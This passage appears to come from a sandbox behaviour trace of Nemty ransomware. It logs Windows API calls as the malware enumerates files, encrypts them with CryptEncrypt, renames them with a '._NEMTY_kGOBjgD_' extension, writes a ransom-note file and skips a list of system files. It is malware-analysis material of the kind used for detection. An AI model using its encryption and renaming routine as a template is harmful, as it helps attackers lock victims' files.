lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_select-highlight.png", lpUsedDefaultChar=0x0) returned 26 [0068.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_select-highlight.png", lpUsedDefaultChar=0x0) returned 26 [0068.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0068.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0068.701] Sleep (dwMilliseconds=0x5) [0068.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc9acd90, dwHighDateTime=0x1d561e7)) [0068.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc9acd90, dwHighDateTime=0x1d561e7)) [0068.716] GetLastError () returned 0x5 [0068.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.716] GetLastError () returned 0x5 [0068.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.716] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0068.716] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0068.716] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0068.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0068.716] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Scumfigm+rroeNc414RSQtI3TLqyViVfuACd9YMhSSeKnMGINQlXx/Hj5Rknnh4k\r\n0DLhJLZjM5y1C3mNpLEWlhNXpR+x1qsHQufleq4RKJI0VX7v62m8aVy/OqSTFNx5\r\nezwFyOBey1Al95sx+aLoNF8c9XRANkX5cnZwOp7NBAnqnwNmJ09UIfMF57NEs5f0\r\nULkItaa+qdiXzfADTgm0UDFwnK9HD++QBDcYSLtlbiDxKtj0KWeK4gwDaS5hZ3di\r\nZzwvEZwSAbUhRa4trIDlCCX0PxZsH8FBATH+hZkt9Za7wFa5huVwPWbdQk86e1ZH\r\nEGvK8vJhqtZEuyhhEa1GvA==\r\n", pcchString=0x653e91c) returned 1 [0068.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0068.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0068.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.717] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.717] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0068.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.837] CloseHandle (hObject=0xffffffff) returned 0 [0068.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0068.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0068.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0068.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0068.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.837] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png._nemty_kgobjgd_")) returned 0 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.838] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5bd550, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xdb5bd550, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdb5bd550, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0068.838] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0068.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0068.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0068.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0068.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0068.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0068.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, 